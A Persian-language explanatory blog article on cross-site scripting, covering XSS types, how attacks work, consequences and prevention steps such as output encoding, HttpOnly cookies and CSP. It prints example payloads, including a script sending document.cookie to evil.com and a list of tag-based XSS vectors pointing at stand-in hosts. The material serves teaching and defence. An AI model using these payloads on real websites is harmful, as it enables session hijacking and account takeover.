هک بارکد برای هک واتساپ و نرم افزار های دیگر+ 7 مرحله برای هک کد QR 🟢
فوریه 12, 2023حملات غیر فعال سایبری + انواع حملات غیر فعال + با حمله فعال چه فرقی دارد؟🟢
فوریه 14, 2023همه شما علاقه مند به مباحث سایبری هستید. به نظر شما حمله XSS چیست؟ . ممکن است انواع زیادی از حملات مختلف سایبری را بشناسید. در این مقاله می خواهیم به شما یکی از مهمترین این نوع از حملات را معرفی کنیم. دقت داشته باشید که این حملات بیشتر وب سایت ها را درگیر می کند. اما این وب سایت ها در صورت درگیر شدن می توانند کاربران را هم درگیر کنند. در انتهای مقاله به شما روش هایی که می توانید از این حملات جلوگیری کنید را هم خواهیم گفت. بنابراین با ما همراه باشید.
آنچه در این مقاله خواهید خواند :
حمله XSS چیست؟
اسکریپت بین سایتی (XSS) یک حمله تزریق کد در سمت مشتری است. هدف مهاجم اجرای اسکریپت های مخرب در مرورگر وب قربانی با گنجاندن کدهای مخرب در یک صفحه وب قانونی یا برنامه وب است. حمله واقعی زمانی رخ می دهد که قربانی از صفحه وب یا برنامه وب که کد مخرب را اجرا می کند بازدید می کند. صفحه وب یا برنامه وب به وسیله ای برای تحویل اسکریپت مخرب به مرورگر کاربر تبدیل می شود. وسایل نقلیه آسیبپذیری که معمولاً برای حملات اسکریپت بین سایتی استفاده میشوند، انجمنها، تابلوهای پیام و صفحات وب هستند که اجازه نظرات را میدهند.
یک صفحه وب یا برنامه وب در صورت استفاده از ورودی کاربر غیر بهداشتی در خروجی ای که تولید می کند در برابر XSS آسیب پذیر است. سپس این ورودی کاربر باید توسط مرورگر قربانی تجزیه شود. حملات XSS در VBScript، ActiveX، Flash و حتی CSS امکان پذیر است. با این حال، آنها بیشتر در جاوا اسکریپت رایج هستند، در درجه اول به این دلیل که جاوا اسکریپت برای اکثر تجربیات مرور اساسی است.
“آیا اسکریپت بین سایتی مشکل کاربر نیست؟”
اگر مهاجم بتواند از یک آسیب پذیری XSS در یک صفحه وب برای اجرای جاوا اسکریپت دلخواه در مرورگر کاربر سوء استفاده کند، امنیت آن وب سایت آسیب پذیر یا برنامه وب آسیب پذیر و کاربران آن به خطر افتاده است. XSS مانند هر آسیبپذیری امنیتی دیگری مشکل کاربر نیست. اگر بر کاربران شما تأثیر می گذارد، بر شما تأثیر می گذارد.
همچنین ممکن است از اسکریپت بین سایتی برای تخریب یک وب سایت به جای هدف قرار دادن کاربر استفاده شود. مهاجم می تواند از اسکریپت های تزریق شده برای تغییر محتوای وب سایت استفاده کند یا حتی مرورگر را به صفحه وب دیگری هدایت کند، به عنوان مثال، صفحه ای که حاوی کد مخرب است.
مهاجم با جاوا اسکریپت چه کاری می تواند انجام دهد؟
آسیبپذیریهای XSS کمتر از آسیبپذیریهای SQL Injection کمتر خطرناک تلقی میشوند. پیامدهای توانایی اجرای جاوا اسکریپت در یک صفحه وب ممکن است در ابتدا بد به نظر نرسد. اکثر مرورگرهای وب جاوا اسکریپت را در محیطی کاملاً کنترل شده اجرا می کنند. جاوا اسکریپت دسترسی محدودی به سیستم عامل کاربر و فایل های کاربر دارد. با این حال، جاوا اسکریپت در صورت استفاده نادرست به عنوان بخشی از محتوای مخرب همچنان می تواند خطرناک باشد:
جاوا اسکریپت مخرب به تمام اشیایی که بقیه صفحه وب به آنها دسترسی دارند دسترسی دارد. این شامل دسترسی به کوکیهای کاربر است. کوکی ها اغلب برای ذخیره نشانه های جلسه استفاده می شوند. اگر مهاجم بتواند کوکی جلسه کاربر را به دست آورد، میتواند جعل هویت کاربر، اقداماتی را از طرف کاربر انجام دهد و به دادههای حساس کاربر دسترسی پیدا کند.
جاوا اسکریپت می تواند DOM مرورگر را بخواند و تغییرات دلخواه در آن ایجاد کند. خوشبختانه، این فقط در صفحه ای که جاوا اسکریپت در آن اجرا می شود امکان پذیر است.
مهم:
جاوا اسکریپت می تواند از شی XMLHttpRequest برای ارسال درخواست های HTTP با محتوای دلخواه به مقاصد دلخواه استفاده کند.
جاوا اسکریپت در مرورگرهای مدرن می تواند از API های HTML5 استفاده کند. به عنوان مثال، می تواند به موقعیت جغرافیایی کاربر، وب کم، میکروفون و حتی فایل های خاص از سیستم فایل کاربر دسترسی پیدا کند. اکثر این APIها نیاز به انتخاب کاربر دارند، اما مهاجم میتواند از مهندسی اجتماعی برای دور زدن این محدودیت استفاده کند.
موارد فوق، در ترکیب با مهندسی اجتماعی، به مجرمان اجازه میدهد تا حملات پیشرفتهای از جمله سرقت کوکی، کاشت تروجانها، keylogging، فیشینگ و سرقت هویت را انجام دهند. آسیبپذیریهای XSS زمینه مناسبی را برای تشدید حملات به حملات جدیتر فراهم میکنند. اسکریپت بین سایتی همچنین می تواند همراه با انواع دیگر حملات، به عنوان مثال، جعل درخواست متقابل سایت (CSRF) استفاده شود.
انواع مختلفی از حملات Cross-site Scripting وجود دارد: XSS ذخیره شده/دائم، XSS منعکس شده/غیر پایدار و XSS مبتنی بر DOM.
بیشتر بخوانید🚀🚀🚀🚀 برنامه هک واتساپ PLC
روش های مختلف اسکریپت نویسی متقابل چیست؟
XSS ذخیره شده
زمانی اتفاق می افتد که بار مخرب در یک پایگاه داده ذخیره می شود. هنگامی که داده درخواست می شود – اگر کدگذاری خروجی یا پاکسازی وجود نداشته باشد، به سایر کاربران ارائه می شود.
XSS منعکس شده
زمانی اتفاق می افتد که یک برنامه وب رشته های ارائه شده توسط مهاجم را به مرورگر قربانی ارسال می کند تا مرورگر بخشی از رشته را به عنوان کد اجرا کند. پیلود در پاسخ باز می گردد زیرا هیچ کدگذاری خروجی سمت سرور ندارد.
XSS مبتنی بر DOM
زمانی اتفاق می افتد که یک مهاجم یک اسکریپت را به یک پاسخ تزریق می کند. مهاجم می تواند داده های مدل شی سند (DOM) را بخواند و دستکاری کند تا یک URL مخرب ایجاد کند. مهاجم از این URL استفاده می کند تا کاربر را فریب دهد تا روی آن کلیک کند. اگر کاربر روی پیوند کلیک کند، مهاجم می تواند اطلاعات جلسه فعال کاربر، ضربه زدن به کلید و غیره را بدزدد. برخلاف XSS ذخیره شده و XSS منعکس شده، کل حمله XSS مبتنی بر DOM بر روی مرورگر مشتری اتفاق می افتد (یعنی هیچ چیز به سرور باز نمی گردد).
نحوه کار اسکریپت بین سایتی
یک حمله معمولی XSS دو مرحله دارد:
برای اجرای کدهای مخرب جاوا اسکریپت در مرورگر قربانی، مهاجم ابتدا باید راهی برای تزریق کد مخرب (Payload) به یک صفحه وب که قربانی بازدید می کند پیدا کند.
پس از آن، قربانی باید از صفحه وب با کد مخرب بازدید کند. اگر حمله متوجه قربانیان خاصی باشد، مهاجم می تواند از مهندسی اجتماعی و/یا فیشینگ برای ارسال یک URL مخرب به قربانی استفاده کند.
برای اینکه مرحله اول امکان پذیر باشد، وب سایت آسیب پذیر باید مستقیماً ورودی کاربر را در صفحات خود قرار دهد. سپس مهاجم می تواند رشته مخربی را وارد کند که در صفحه وب استفاده می شود و توسط مرورگر قربانی به عنوان کد منبع در نظر گرفته می شود. انواع مختلفی از حملات XSS نیز وجود دارد که در آن مهاجم کاربر را فریب می دهد تا با استفاده از مهندسی اجتماعی از یک URL بازدید کند و بارگذاری بخشی از پیوندی است که کاربر روی آن کلیک می کند.
در زیر قطعه ای از شبه کد سمت سرور است که برای نمایش آخرین نظر در یک صفحه وب استفاده می شود:
print "<html>"
print "<h1>Most recent comment</h1>"
print database.latestComment
print "</html>"
اسکریپت فوق به سادگی آخرین نظر را از یک پایگاه داده می گیرد و آن را در یک صفحه HTML قرار می دهد. فرض بر این است که نظر چاپ شده فقط از متن تشکیل شده است و هیچ تگ HTML یا کد دیگری ندارد. در برابر XSS آسیب پذیر است، زیرا یک مهاجم می تواند یک نظر ارسال کند
این حاوی یک بار مخرب است، برای مثال:
<script>doSomethingEvil();</script>
وب سرور کد HTML زیر را برای کاربرانی که از این صفحه وب بازدید می کنند ارائه می دهد:
<html>
<h1>Most recent comment</h1>
<script>doSomethingEvil();</script>
</html>
هنگامی که صفحه در مرورگر قربانی بارگیری می شود، اسکریپت مخرب مهاجم اجرا می شود. بیشتر اوقات، قربانی آن را متوجه نمی شود و قادر به جلوگیری از چنین حمله ای نیست.
عواقب حمله XSS
پیامد حمله XSS صرف نظر از ذخیره یا منعکس شدن (یا مبتنی بر DOM) یکسان است. تفاوت در نحوه رسیدن بار به سرور است. فریب نخورید و فکر نکنید که یک سایت “فقط خواندنی” یا “بروشور افزار” در برابر حملات XSS منعکس شده جدی آسیب پذیر نیست. XSS میتواند مشکلات مختلفی را برای کاربر نهایی ایجاد کند که از نظر شدت از مزاحمت گرفته تا به خطر افتادن کامل حساب متغیر است. شدیدترین حملات XSS شامل افشای کوکی جلسه کاربر است که به مهاجم اجازه میدهد جلسه کاربر را ربوده و حساب را تصاحب کند.
سایر حملات مخرب شامل افشای فایلهای کاربر نهایی، نصب برنامههای اسب تروجان، هدایت کاربر به صفحه یا سایت دیگری، یا اصلاح ارائه محتوا است. یک آسیبپذیری XSS که به مهاجم اجازه میدهد یک بیانیه مطبوعاتی یا خبری را اصلاح کند، میتواند بر قیمت سهام شرکت تأثیر بگذارد یا اعتماد مصرفکننده را کاهش دهد. یک آسیبپذیری XSS در یک سایت دارویی میتواند به مهاجم اجازه دهد اطلاعات دوز را تغییر دهد که منجر به مصرف بیش از حد میشود.
بیشتر بخوانید🚀🚀🚀🚀 نشت آی پی
سرقت کوکی ها با استفاده از XSS
مجرمان اغلب از XSS برای سرقت کوکی ها استفاده می کنند. این به آنها اجازه می دهد که خود را به عنوان قربانی جعل کنند. مهاجم می تواند کوکی را به روش های مختلفی به سرور خود ارسال کند. یکی از آنها اجرای اسکریپت سمت کلاینت زیر در مرورگر قربانی است:
<script>
window.location="http://evil.com/?cookie=" + document.cookie
</script>
شکل زیر گام به گام یک حمله ساده XSS را نشان می دهد.
مهاجم با ارسال یک فرم آسیب پذیر با محتوای مخرب جاوا اسکریپت، یک بار به پایگاه داده وب سایت تزریق می کند.
قربانی صفحه وب را از سرور وب درخواست می کند.
وب سرور به مرورگر قربانی صفحه را با بار مهاجم به عنوان بخشی از بدنه HTML ارائه می دهد.
مرورگر قربانی اسکریپت مخرب موجود در بدنه HTML را اجرا می کند. در این حالت، کوکی قربانی را به سرور مهاجم ارسال می کند.
هنگامی که درخواست HTTP به سرور می رسد، مهاجم فقط باید کوکی قربانی را استخراج کند.
مهاجم اکنون می تواند از کوکی دزدیده شده قربانی برای جعل هویت استفاده کند.
بردارهای حمله اسکریپت بین سایتی
در زیر لیستی از بردارهای حمله XSS رایج است که یک مهاجم می تواند از آنها برای به خطر انداختن امنیت یک وب سایت یا برنامه وب از طریق یک حمله XSS استفاده کند. فهرست گستردهتری از نمونههای محموله XSS توسط سازمان OWASP نگهداری میشود: XSS Filter Evasion Cheat Sheet.
تگ <script>
تگ <script> ساده ترین محموله XSS است. یک تگ اسکریپت می تواند به کد خارجی جاوا اسکریپت اشاره کند یا می توانید کد را در خود تگ اسکریپت جاسازی کنید.
<!-- External script -->
<script src=http://evil.com/xss.js></script>
<!-- Embedded script -->
<script> alert("XSS"); </script>
رویدادهای جاوا اسکریپت
ویژگی های رویداد جاوا اسکریپت مانند onload و onerror را می توان در تگ های مختلف استفاده کرد. این یک بردار حمله XSS بسیار محبوب است.
<!– ویژگی onload در تگ <body> –>
<body onload=alert(“XSS”)>
برچسب <body>
یک بار XSS را می توان در داخل <body> با استفاده از ویژگی های رویداد (به بالا مراجعه کنید) یا سایر ویژگی های مبهم تر مانند ویژگی پس زمینه تحویل داد.
<!-- onload attribute in the <body> tag -->
<body onload=alert("XSS")>
تگ <img>
برخی از مرورگرها جاوا اسکریپت موجود در ویژگی های <img> را اجرا می کنند.
<!-- <img> tag XSS -->
<img src="javascript:alert("XSS");">
<!-- tag XSS using lesser-known attributes -->
<img dynsrc="javascript:alert('XSS')">
<img lowsrc="javascript:alert('XSS')">
تگ <iframe>
تگ <iframe> به شما امکان می دهد صفحه HTML دیگری را در صفحه فعلی جاسازی کنید. یک IFrame ممکن است حاوی جاوا اسکریپت باشد اما جاوا اسکریپت موجود در IFrame به دلیل خطمشی امنیت محتوای (CSP) مرورگر به DOM صفحه اصلی دسترسی ندارد. با این حال، IFrames هنوز هم برای از بین بردن حملات فیشینگ بسیار موثر است.
<!-- <iframe> tag XSS -->
<iframe src="http://evil.com/xss.html">
برچسب <input>
در برخی از مرورگرها، اگر ویژگی type تگ <input> روی تصویر تنظیم شود، می توان آن را برای جاسازی یک اسکریپت دستکاری کرد.
تگ <!– <input> XSS –>
<input type=”image” src=”javascript:alert(‘XSS’);”>
برچسب <link>
تگ <link> که اغلب برای پیوند دادن به شیوه نامه های خارجی استفاده می شود، ممکن است حاوی یک اسکریپت باشد.
<!-- <input> tag XSS -->
<input type="image" src="javascript:alert('XSS');">
تگ <table>
ویژگی پس زمینه تگ های <table> و <td> می تواند برای ارجاع به یک اسکریپت به جای تصویر مورد سوء استفاده قرار گیرد.
<!-- <table> tag XSS -->
<table background="javascript:alert('XSS')">
<!-- <td> tag XSS -->
<td background="javascript:alert('XSS')">
تگ <div>
تگ <div>، مشابه تگهای <table> و <td>، همچنین میتواند یک پسزمینه را مشخص کند و بنابراین یک اسکریپت را تعبیه کند.
<!-- <div> tag XSS -->
<div style="background-image: url(javascript:alert('XSS'))">
<!-- <div> tag XSS -->
<div style="width: expression(alert('XSS'));">
تگ <object>
تگ <object> می تواند برای گنجاندن یک اسکریپت از یک سایت خارجی استفاده شود.
<!-- <object> tag XSS -->
<object type="text/x-scriptlet" data="http://hacker.com/xss.html">
آیا وب سایت یا برنامه وب شما در برابر حمله XSS آسیب پذیر است؟
آسیب پذیری های Cross-site Scripting یکی از رایج ترین آسیب پذیری های برنامه های وب هستند. سازمان OWASP (پروژه امنیتی برنامه وب باز) آسیب پذیری های XSS را در سند OWASP Top 10 2017 خود به عنوان دومین مشکل رایج فهرست می کند.
خوشبختانه، آزمایش اینکه آیا وب سایت یا برنامه وب شما در برابر XSS و سایر آسیب پذیری ها آسیب پذیر است یا خیر، با اجرای یک اسکن وب خودکار با استفاده از نرم افزار آسان است.
اسکنر آسیب پذیری Acunetix که شامل یک ماژول اسکنر تخصصی XSS است. یک نسخه نمایشی بگیرید و درباره اجرای اسکن XSS در برابر وب سایت یا برنامه وب خود اطلاعات بیشتری کسب کنید. نمونه ای از نحوه شناسایی آسیب پذیری های کور XSS با Acunetix در مقاله زیر موجود است: چگونه آسیب پذیری های کور XSS را شناسایی کنیم.
بیشتر بخوانید🚀🚀🚀🚀 : حمله روز صفر
چگونه از XSS جلوگیری کنیم؟
برای ایمن نگه داشتن خود از XSS، باید ورودی خود را پاکسازی کنید. کد برنامه شما هرگز نباید داده های دریافتی را به عنوان ورودی مستقیماً به مرورگر بدون بررسی کدهای مخرب ارسال کند.
برای جزئیات بیشتر، به مقالات زیر مراجعه کنید: جلوگیری از حملات XSS و نحوه جلوگیری از اسکریپت بین سایتی مبتنی بر DOM. همچنین می توانید اطلاعات مفیدی را در برگه تقلب XSS Prevention که توسط سازمان OWASP نگهداری می شود بیابید.
نحوه جلوگیری از اسکریپت بین سایتی (XSS) – نکات عمومی
جلوگیری از اسکریپت بین سایتی (XSS) آسان نیست. تکنیکهای پیشگیری خاص به نوع آسیبپذیری XSS، زمینه استفاده از ورودی کاربر و چارچوب برنامهنویسی بستگی دارد. با این حال، اصول استراتژیک کلی خاصی وجود دارد که باید آنها را دنبال کنید تا برنامه وب خود را ایمن نگه دارید.
مرحله 1: آموزش و حفظ آگاهی
برای ایمن نگه داشتن برنامه وب خود، همه افرادی که در ساخت برنامه وب شرکت دارند باید از خطرات مرتبط با آسیب پذیری های XSS آگاه باشند. شما باید آموزش های امنیتی مناسبی را به همه توسعه دهندگان، کارکنان QA، DevOps و SysAdmin ارائه دهید. می توانید با ارجاع آنها به این صفحه شروع کنید.
مرحله 2: به هیچ ورودی کاربر اعتماد نکنید
تمام ورودی های کاربر را غیرقابل اعتماد تلقی کنید. هر ورودی کاربر که به عنوان بخشی از خروجی HTML استفاده می شود، خطر XSS را معرفی می کند. با ورودی های کاربران تأیید شده و/یا داخلی به همان روشی رفتار کنید که با ورودی عمومی رفتار می کنید.
مرحله 3: از escaping/encoding استفاده کنید
بسته به محل استفاده از ورودی کاربر، از یک تکنیک escaping/encoding مناسب استفاده کنید: HTML escape، JavaScript escape، CSS Escape، URL Escape، و غیره.
مرحله 4: HTML را پاکسازی کنید
اگر ورودی کاربر باید حاوی HTML باشد، نمیتوانید از آن فرار کنید/رمزگذاری کنید زیرا باعث شکستن برچسبهای معتبر میشود. در چنین مواردی، از یک کتابخانه قابل اعتماد و تایید شده برای تجزیه و پاکسازی HTML استفاده کنید. کتابخانه را بسته به زبان توسعه خود انتخاب کنید، برای مثال HtmlSanitizer برای دات نت یا SanitizeHelper برای Ruby on Rails.
مرحله 5: پرچم HttpOnly را تنظیم کنید
برای کاهش پیامدهای آسیبپذیری احتمالی XSS، پرچم HttpOnly را برای کوکیها تنظیم کنید. اگر این کار را انجام دهید، چنین کوکی هایی از طریق جاوا اسکریپت سمت سرویس گیرنده قابل دسترسی نخواهند بود.
مرحله 6: از یک سیاست امنیتی محتوا استفاده کنید
برای کاهش پیامدهای آسیبپذیری احتمالی XSS، از یک خطمشی امنیت محتوا (CSP) نیز استفاده کنید. CSP یک هدر پاسخ HTTP است که به شما امکان می دهد منابع پویا را که بسته به منبع درخواست بارگذاری می شوند، اعلام کنید.
مرحله 7: اسکن منظم (با Acunetix)
آسیبپذیریهای XSS ممکن است توسط توسعهدهندگان شما یا از طریق کتابخانهها/ماژولها/نرمافزارهای خارجی معرفی شوند. شما باید به طور مرتب برنامه های کاربردی وب خود را با استفاده از یک اسکنر آسیب پذیری وب مانند Acunetix اسکن کنید. اگر از جنکینز استفاده می کنید، باید افزونه Acunetix را نصب کنید تا به طور خودکار هر بیلد را اسکن کند.
نتیجه
اجرای اقدامات امنیتی در اوایل چرخه توسعه برنامه بسیار مهم است. به عنوان مثال، فعالیت های امنیتی مرحله طراحی نرم افزار مانند تجزیه و تحلیل ریسک معماری و مدل سازی تهدید را انجام دهید. انجام تست امنیتی پس از تکمیل توسعه برنامه به همان اندازه مهم است.
استراتژی های جلوگیری از حملات XSS عبارتند از:
هرگز به ورودی کاربر اعتماد نکنید.
اجرای رمزگذاری خروجی
اعتبار سنجی ورودی کاربر را انجام دهید.
اصل دفاع را عمیقا دنبال کنید.
اطمینان حاصل کنید که توسعه برنامه وب با برگه تقلب پیشگیری XSS OWASP مطابقت دارد.
پس از اصلاح، تست نفوذ را برای تایید موفقیت آمیز بودن آن انجام دهید.
با پیروی از دستورالعمل های توسعه ایمن – ایجاد امنیت در تمام مراحل توسعه برنامه، از سازمان خود محافظت کنید. رمزگذاری خروجی نیز کلیدی برای جلوگیری از آسیب پذیری های XSS است. از کتابخانه های کدگذاری خروجی که مربوط به زبان های برنامه نویسی و چارچوب هایی هستند که سازمان شما استفاده می کند، استفاده کنید. همچنین، اطمینان حاصل کنید که توسعه دهندگان شما با بهترین شیوه های پیشگیری از XSS به روز هستند.